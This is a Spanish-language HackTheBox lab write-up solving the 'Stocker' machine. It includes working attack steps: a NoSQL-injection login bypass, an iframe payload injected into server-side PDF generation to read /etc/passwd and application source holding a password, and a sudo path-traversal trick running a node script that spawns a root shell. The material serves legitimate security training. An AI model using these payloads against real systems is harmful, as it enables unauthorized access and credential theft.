Stocker es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Stocker 10.10.11.196 a /etc/hosts como stocker.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 |
$ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oA enumeration/nmap1 10.10.11.196 Nmap scan report for 10.10.11.196 Host is up, received user-set (0.051s latency). Scanned at 2023-06-08 10:04:05 GMT for 13s Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Thu Jun 8 10:04:18 2023 -- 1 IP address (1 host up) scanned in 13.20 seconds |
Una vez hecho el primer escaneo rápido, profundizamos en los puertos detectados
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ nmap -sCV -p 22,80 -Pn -oA enumeration/nmap2 10.10.11.196 Nmap scan report for 10.10.11.196 Host is up (0.039s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 3d12971d86bc161683608f4f06e6d54e (RSA) | 256 7c4d1a7868ce1200df491037f9ad174f (ECDSA) |_ 256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://stocker.htb |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Jun 8 10:05:25 2023 -- 1 IP address (1 host up) scanned in 9.72 seconds |
Enumeración
Accedemos al portal web en el puerto 80 y vemos la siguiente ventana
No vemos gran cosa en el mismo así que continuamos la enumeración y descubrimos un subdominio
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
$ ffuf -u http://stocker.htb -w /data/tools/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.stocker.htb" -t 50 -mc 302 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.0.0-dev ________________________________________________ :: Method : GET :: URL : http://stocker.htb :: Wordlist : FUZZ: /data/tools/SecLists/Discovery/DNS/subdomains-top1million-110000.txt :: Header : Host: FUZZ.stocker.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 50 :: Matcher : Response status: 302 ________________________________________________ [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 66ms] * FUZZ: dev :: Progress: [114441/114441] :: Job [1/1] :: 673 req/sec :: Duration: [0:02:15] :: Errors: 0 :: |
Añadimos al fichero hosts y accedemos, donde nos redirecciona a la uri de login
No parece que haya mucho más por aquí, así que interceptamos la petición con burp y hacemos algunas pruebas para conseguir bypasearlo, y descubrimos la forma.
Modificamos la directiva Content-type por el formato json
1 |
Content-Type: application/json |
Y enviamos el siguiente payload
1 |
{"username": {"$ne":"admin"}, "password":{"$ne":"admin"}} |
Consiguiendo con ello saltar el login y acceder a la url /stock donde vemos la siguiente página
Revisamos el portal y hacemos algunas pruebas y observamos que al realizar un pedido, la aplicación, genera un pdf con el contenido de la compra realizada
Así que vamos a tratar de explotar ese proceso de generación del pdf.
Interceptaremos la petición con burp e intentaremos meter un iframe en alguno de los campos
Y si revisamos ahora el fichero pdf, vemos que ha funcionado y tenemos el contenido del fichero passwd, o parte de él
El tamaño del iframe es muy pequeño así que no podemos obtener todo el contenido, vamos a modificar el mismo con el siguiente payload
1 |
<iframe src='/etc/passwd' height=1000 width=500/> |
Añadimos los valores de alto y ancho para obtener el fichero al completo.
Seguimos revisando y nos fijamos que se trata de un nodejs por la cabecera X-Powered-By
1 |
X-Powered-By: Express |
Así que obtenemos el fichero index.js de la ruta
1 |
/var/www/dev/index.js |
En el cual conseguiremos la password del usuario angoose.
Obteniendo la flag de user
Con la clave del usuario accedemos por ssh y cogemos la flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ ssh angoose@stocker.htb The authenticity of host 'stocker.htb (10.10.11.196)' can't be established. ED25519 key fingerprint is SHA256:jqYjSiavS/WjCMCrDzjEo7AcpCFS07X3OLtbGHo/7LQ. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'stocker.htb' (ED25519) to the list of known hosts. angoose@stocker.htb's password: The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. angoose@stocker:~$ id uid=1001(angoose) gid=1001(angoose) groups=1001(angoose) angoose@stocker:~$ cat user.txt fcxxxxxxxxxxxxxxxxxxxxxxxxxxxxb0 angoose@stocker:~$ |
Escalado de privilegios
Para el escalado a root, revisamos los permisos del usuario
1 2 3 4 5 6 7 |
angoose@stocker:~$ sudo -l [sudo] password for angoose: Matching Defaults entries for angoose on stocker: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User angoose may run the following commands on stocker: (ALL) /usr/bin/node /usr/local/scripts/*.js |
Y vemos que puede ejecutar cualquier script siempre que se encuentre en la ruta correcta, así que generamos un fichero js como el siguiente
1 2 |
angoose@stocker:~$ cat exploit.js require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]}) |
Y ejecutamos, consiguiendo convertirnos en root
1 2 3 |
angoose@stocker:~$ sudo /usr/bin/node /usr/local/scripts/../../../home/angoose/exploit.js # id uid=0(root) gid=0(root) groups=0(root) |
Obteniendo la flag de root
Ya siendo root, simplemente cogemos la flag
1 2 |
# cat /root/root.txt 1dxxxxxxxxxxxxxxxxxxxxxxxxxxx6c |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace